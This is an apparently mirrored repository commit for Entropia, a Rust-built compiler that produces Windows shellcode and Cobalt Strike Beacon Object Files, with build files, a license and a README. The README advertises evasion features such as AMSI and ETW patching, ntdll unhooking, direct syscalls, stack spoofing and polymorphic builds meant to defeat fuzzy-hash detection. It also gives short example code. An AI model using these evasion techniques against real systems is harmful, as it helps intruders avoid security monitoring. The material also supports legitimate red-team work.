mirror of
https://github.com/entropykit/entropia
synced 2026-06-24 06:05:04 +00:00
Repository migration + experimental (stable version v0.1) of Entropia compiler
This commit is contained in:
+59
@@ -0,0 +1,59 @@
|
||||
/target/
|
||||
**/target/
|
||||
**/*.rs.bk
|
||||
Cargo.lock.bak
|
||||
|
||||
example/*.bin
|
||||
example/*.obj
|
||||
example/*.x64.o
|
||||
example/*.x86.o
|
||||
example/*.dbg
|
||||
example/*.cna
|
||||
*.bin
|
||||
*.obj
|
||||
*.x64.o
|
||||
*.x86.o
|
||||
*.dbg
|
||||
|
||||
/tmp_build/
|
||||
build/
|
||||
out/
|
||||
docs/
|
||||
|
||||
tools/vscode-entropykit/*.vsix
|
||||
tools/vscode-entropykit/node_modules/
|
||||
tools/vscode-entropykit/out/
|
||||
tools/vscode-entropykit/dist/
|
||||
|
||||
example/sclauncher64.exe
|
||||
run_bin
|
||||
run_bin.exe
|
||||
TODO.md
|
||||
|
||||
.vscode/
|
||||
!.vscode/launch.json
|
||||
!.vscode/tasks.json
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
.vs/
|
||||
*.code-workspace
|
||||
.claude/
|
||||
.copilot/
|
||||
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
desktop.ini
|
||||
|
||||
*.log
|
||||
*.log.*
|
||||
|
||||
tools/entc-win32gen/.venv/
|
||||
tools/entc-win32gen/__pycache__/
|
||||
tools/entc-win32gen/*.pyc
|
||||
|
||||
.env
|
||||
.env.*
|
||||
*.pem
|
||||
*.key
|
||||
Generated
+229
@@ -0,0 +1,229 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 3
|
||||
|
||||
[[package]]
|
||||
name = "bof-loader"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "bof-runner"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"bof-loader",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "entc-debug"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"bof-loader",
|
||||
"iced-x86",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "entc-win32gen"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"windows-metadata",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "entropykit"
|
||||
version = "0.1.0"
|
||||
|
||||
[[package]]
|
||||
name = "iced-x86"
|
||||
version = "1.21.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7c447cff8c7f384a7d4f741cfcff32f75f3ad02b406432e8d6c878d56b1edf6b"
|
||||
dependencies = [
|
||||
"lazy_static",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "itoa"
|
||||
version = "1.0.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682"
|
||||
|
||||
[[package]]
|
||||
name = "lazy_static"
|
||||
version = "1.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||
|
||||
[[package]]
|
||||
name = "memchr"
|
||||
version = "2.8.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79"
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.106"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934"
|
||||
dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.45"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde"
|
||||
version = "1.0.228"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e"
|
||||
dependencies = [
|
||||
"serde_core",
|
||||
"serde_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_core"
|
||||
version = "1.0.228"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad"
|
||||
dependencies = [
|
||||
"serde_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_derive"
|
||||
version = "1.0.228"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_json"
|
||||
version = "1.0.149"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86"
|
||||
dependencies = [
|
||||
"itoa",
|
||||
"memchr",
|
||||
"serde",
|
||||
"serde_core",
|
||||
"zmij",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "2.0.117"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.24"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"
|
||||
|
||||
[[package]]
|
||||
name = "windows-metadata"
|
||||
version = "0.60.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3433ff56dde0408f2549eb155235c9991023d8c2a13608afa384d2681a6c3ad5"
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.59.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
|
||||
dependencies = [
|
||||
"windows-targets",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-targets"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
|
||||
dependencies = [
|
||||
"windows_aarch64_gnullvm",
|
||||
"windows_aarch64_msvc",
|
||||
"windows_i686_gnu",
|
||||
"windows_i686_gnullvm",
|
||||
"windows_i686_msvc",
|
||||
"windows_x86_64_gnu",
|
||||
"windows_x86_64_gnullvm",
|
||||
"windows_x86_64_msvc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_gnullvm"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_msvc"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_gnu"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_gnullvm"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_msvc"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnu"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnullvm"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_msvc"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
|
||||
|
||||
[[package]]
|
||||
name = "zmij"
|
||||
version = "1.0.21"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa"
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
[workspace]
|
||||
members = [
|
||||
".",
|
||||
"tools/entc-win32gen",
|
||||
"tools/entc-debug",
|
||||
"tools/bof-runner",
|
||||
"tools/bof-loader",
|
||||
]
|
||||
resolver = "2"
|
||||
|
||||
[package]
|
||||
name = "entropykit"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[[bin]]
|
||||
name = "entc"
|
||||
path = "src/main.rs"
|
||||
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = true
|
||||
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright 2026 Ksawery Czapczyński
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,351 @@
|
||||
<div align="center">
|
||||
|
||||
<picture>
|
||||
<source media="(prefers-color-scheme: dark)" srcset="assets/logo-dark.svg">
|
||||
<img src="assets/logo-light.svg" alt="Entropia" width="140" />
|
||||
</picture>
|
||||
|
||||
# Entropia
|
||||
|
||||
A compiled language for Windows position-independent x86-64 shellcode and Beacon Object Files.
|
||||
|
||||
[](LICENSE)
|
||||
[](https://docs.entropykit.com)
|
||||
[](#building-from-source)
|
||||
[](#)
|
||||
[](#status)
|
||||
|
||||
[**Documentation**](https://docs.entropykit.com) ·
|
||||
[**Project Setup**](https://docs.entropykit.com/getting-started/project-setup) ·
|
||||
[**CLI Reference**](https://docs.entropykit.com/getting-started/cli) ·
|
||||
[**Releases**](https://github.com/entropykit/entropia/releases)
|
||||
|
||||
</div>
|
||||
|
||||
---
|
||||
|
||||
## A complete BOF in less then 30 lines
|
||||
|
||||
```rust
|
||||
use bof;
|
||||
use_c "stdlib/win32/toolhelp.h";
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
var snap: u64 = (u64)Kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if snap == 0xFFFFFFFFFFFFFFFF { ret; }
|
||||
|
||||
var pe: PROCESSENTRY32;
|
||||
pe.dwSize = (u32)sizeof(PROCESSENTRY32);
|
||||
|
||||
var ok: int = Kernel32.Process32First((void*)snap, &pe);
|
||||
while ok != 0 {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, str.format("[+] {d} {s}\n",
|
||||
(int)pe.th32ProcessID,
|
||||
(char*)pe.szExeFile));
|
||||
ok = Kernel32.Process32Next((void*)snap, &pe);
|
||||
}
|
||||
Kernel32.CloseHandle((void*)snap);
|
||||
ret;
|
||||
}
|
||||
```
|
||||
|
||||
That is a complete `ps` BOF. The `use_c` line pulls the `PROCESSENTRY32`
|
||||
struct and the `TH32CS_SNAPPROCESS` constant straight from the Windows SDK
|
||||
header, so you write the snapshot kind by name instead of as a raw `0x2` and
|
||||
the struct layout matches the Microsoft ABI byte for byte. No IAT to
|
||||
hand-roll, no relocations to apply yourself. `Kernel32.X(...)` calls lower
|
||||
to indirect calls through slots the runtime fills before user code runs.
|
||||
|
||||
---
|
||||
|
||||
## Quick start
|
||||
|
||||
```bash
|
||||
git clone https://github.com/entropykit/entropia.git
|
||||
cd entropia
|
||||
|
||||
# Build the workspace (3 binaries: entc, bof-runner, entc-debug)
|
||||
cargo build --release
|
||||
|
||||
# Compile a BOF with the full OPSEC stack enabled
|
||||
./target/release/entc compile example/bof_pslist.etpy --type=bof --opsec=all
|
||||
|
||||
# Run it under the local test harness
|
||||
./target/release/bof-runner example/bin/bof_pslist.x64.o
|
||||
```
|
||||
|
||||
For prebuilt binaries: grab them from
|
||||
[GitHub Releases](https://github.com/entropykit/entropia/releases) and skip
|
||||
the `cargo build` step. You can find full walkthrough including at
|
||||
[docs.entropykit.com/getting-started/installation](https://docs.entropykit.com/getting-started/installation).
|
||||
|
||||
---
|
||||
|
||||
## Why does this exist
|
||||
|
||||
Most red-team artifacts ship through a build pipeline of three or four tools
|
||||
chained together: a C compiler for the source, a linker, a
|
||||
position-independence transform like DonutGen or sRDI, plus whatever you
|
||||
wrote yourself to bolt OPSEC tricks on after the fact. Entropia compresses
|
||||
that pipeline into a single compiler, while providing a modern high-level
|
||||
language feeling.
|
||||
|
||||
The output is the artifact you actually want, either a position-independent
|
||||
shellcode blob or a Cobalt Strike Beacon Object File, with no post processing
|
||||
step. The language is small enough to learn in an afternoon and complete
|
||||
enough to ship production tooling in. The whole OPSEC stack
|
||||
ships as compiler flags rather than post-build surgery.
|
||||
|
||||
Because the compiler owns the pipeline end to end, everything composes. A
|
||||
hand-written PEB walk in `asm { ... }`, a `[Hook("LIB$Func")]` attribute,
|
||||
a `[Stage(Init)]` startup hook, and `--opsec=all` share the same internal
|
||||
representation and do not fight each other. The artifact you ship is the
|
||||
artifact the compiler emitted, polymorphed by a per-build random seed so
|
||||
two consecutive builds of the same source differ by 67 to 78 percent at
|
||||
the byte level.
|
||||
|
||||
---
|
||||
|
||||
## Examples
|
||||
|
||||
### Shellcode (`fn main` entry)
|
||||
|
||||
```rust
|
||||
use_c "winuser.h";
|
||||
|
||||
fn main() -> int {
|
||||
User32.MessageBoxA(0, "hello", "entropia", 0);
|
||||
ret 0;
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
entc compile hello.etpy # writes hello.bin
|
||||
entc-debug hello.bin # run under the local loader
|
||||
```
|
||||
|
||||
### BOF (`fn go` entry)
|
||||
|
||||
```rust
|
||||
use bof;
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
var parser: datap;
|
||||
BeaconDataParse(&parser, args, len);
|
||||
var target: char* = BeaconDataExtract(&parser, 0);
|
||||
BeaconPrintf(CALLBACK_OUTPUT, str.format("hello, {s}\n", target));
|
||||
ret;
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
entc compile hello.etpy --type=bof
|
||||
bof-runner hello.x64.o --zarg "operator"
|
||||
```
|
||||
|
||||
### Inline assembly + a real PEB walk
|
||||
|
||||
```rust
|
||||
fn read_peb() -> u64 {
|
||||
var peb: u64;
|
||||
asm {
|
||||
mov rax, gs:[0x60];
|
||||
mov %peb, rax;
|
||||
}
|
||||
ret peb;
|
||||
}
|
||||
```
|
||||
|
||||
### OPSEC pre-flight in one line
|
||||
|
||||
```rust
|
||||
use opsec_unhook; // restores ntdll text section from disk
|
||||
use opsec_etw; // patches Etw* hot paths
|
||||
use opsec_amsi; // patches AmsiScanBuffer return
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
// Pre-flight modules run before this line via [Stage(Init)].
|
||||
// Your code runs in a clean process.
|
||||
ret;
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## The OPSEC stack
|
||||
|
||||
Every technique below is opt-in via `--opsec=<list>`. The build seed
|
||||
(`--seed=random` is the default) drives every randomized choice.
|
||||
|
||||
| Flag | What it does | Mode |
|
||||
|---|---|---|
|
||||
| `poly` | Rewrites instructions after codegen. `xor` to `sub`, `mov MR` to `RM` to `lea`, `test` to `or` to `and`, NOP-run re-decomposition. | both |
|
||||
| `nop_sled` | Pads every function entry with random multi-byte NOPs. Shifts every downstream byte offset so whole-binary fuzzy hashes drift between builds. | both |
|
||||
| `strings_xor` | XOR-encrypts `.rdata` and `.data` with a per-build random key. Decryptor runs before user code. | shellcode |
|
||||
| `stack_strings` | Materialises string constants on the stack rather than in `.rdata`. Eliminates plaintext strings from the artifact. | both |
|
||||
| `direct_syscalls` | Auto-imports a HellsGate-style stub. Every `Ntdll.X(...)` dispatches via `syscall` inside our code region. | both |
|
||||
| `indirect_syscalls` | Auto-imports an indirect-syscall stub. Every `Ntdll.X(...)` jumps to a `syscall;ret` gadget inside ntdll itself. | both |
|
||||
| `hashed_imports` | Drops every `__imp_LIB$Func` external symbol from BOFs. Win32 imports resolve at runtime via PEB walk plus LoadLibraryA plus GetProcAddress. | BOF |
|
||||
|
||||
Stack spoofing (Draugr-style synthetic call frames) and operator-selectable
|
||||
sleep masks are available as explicit `use opsec_stack_spoof;` and
|
||||
`use opsec_sleep_mask;` imports.
|
||||
|
||||
> Measured byte-level diversity between two builds with `--opsec=all` and
|
||||
> different seeds: **67 to 78 percent.** Well past every published fuzzy-hash
|
||||
> threshold.
|
||||
|
||||
---
|
||||
|
||||
## What's in the box
|
||||
|
||||
| Binary | What it does |
|
||||
|---|---|
|
||||
| `entc` | The compiler. Takes `.etpy` source files, produces `.bin` shellcode or `.x64.o` BOFs. |
|
||||
| `bof-runner` | Local test harness for BOFs. Applies relocations, fills the Beacon API stubs, calls `go(args, len)`. |
|
||||
| `entc-debug` | Debug Adapter Protocol server. Powers VS Code F5 and F9. |
|
||||
| `entc-win32gen` | Generates typed C headers from Microsoft's win32metadata. |
|
||||
| VS Code extension | Syntax highlighting, F5 build-and-run, F9 breakpoints inside inline asm. Located at `tools/vscode-entropykit/`. |
|
||||
|
||||
---
|
||||
|
||||
## Building from source
|
||||
|
||||
### Requirements
|
||||
|
||||
- Rust 1.75 or newer ([rustup.rs](https://rustup.rs)).
|
||||
- Windows x86-64 for running the produced binaries. The compiler itself builds
|
||||
and runs on Linux and macOS too, but the output targets Windows.
|
||||
|
||||
### Build everything
|
||||
|
||||
```bash
|
||||
cargo build --release
|
||||
```
|
||||
|
||||
Three binaries land under `target/release/`:
|
||||
|
||||
```
|
||||
target/release/entc.exe
|
||||
target/release/bof-runner.exe
|
||||
target/release/entc-debug.exe
|
||||
```
|
||||
|
||||
### Build a single binary
|
||||
|
||||
```bash
|
||||
cargo build --release -p entropykit # entc only
|
||||
cargo build --release -p bof-runner # local BOF harness only
|
||||
cargo build --release -p entc-debug # DAP server only
|
||||
```
|
||||
|
||||
### Install the VS Code extension
|
||||
|
||||
```bash
|
||||
python tools/vscode-entropykit/build.py install
|
||||
```
|
||||
|
||||
Reload VS Code (Command Palette to "Developer: Reload Window") to pick it up.
|
||||
Other actions (`uninstall`, `status`, `vsix`) are documented at
|
||||
[docs.entropykit.com/getting-started/installation](https://docs.entropykit.com/getting-started/installation).
|
||||
|
||||
<small>Soon comming to VS Code marketplace</small>
|
||||
|
||||
---
|
||||
|
||||
## Documentation
|
||||
|
||||
Reference and guides live at
|
||||
**[docs.entropykit.com](https://docs.entropykit.com)**.
|
||||
|
||||
| Section | What it covers |
|
||||
|---|---|
|
||||
| [Getting Started](https://docs.entropykit.com/getting-started/installation) | Install, project setup, first program, CLI reference, every compiler flag. |
|
||||
| [Language](https://docs.entropykit.com/language/overview) | Types, control flow, structs, pointers, indexing, casts, try and catch, inline asm, intrinsics, garbage collector. |
|
||||
| [Modules and Stdlib](https://docs.entropykit.com/modules/use) | `use` and `use_c`, what is in the standard library. |
|
||||
| [Win32](https://docs.entropykit.com/win32/calling-apis) | How `Lib.Function(...)` calls work end to end. Custom resolvers. |
|
||||
| [BOF Mode](https://docs.entropykit.com/bof/overview) | `go(args, len)`, Beacon API, auto-generated Aggressor scripts, local testing, F5 debugging. |
|
||||
| [OPSEC](https://docs.entropykit.com/opsec/overview) | Every flag explained with examples and trade-offs. |
|
||||
| [Advanced](https://docs.entropykit.com/advanced/overrides) | `[Override(Slot)]`, `[Hook(...)]`, lifecycle stages. |
|
||||
|
||||
A self-contained PDF snapshot of the docs ships with every tagged release.
|
||||
|
||||
---
|
||||
|
||||
## Status
|
||||
|
||||
Entropia is pre-1.0 and the surface is still moving. Expect changes between
|
||||
commits to the compiler internals; the source-level language surface is
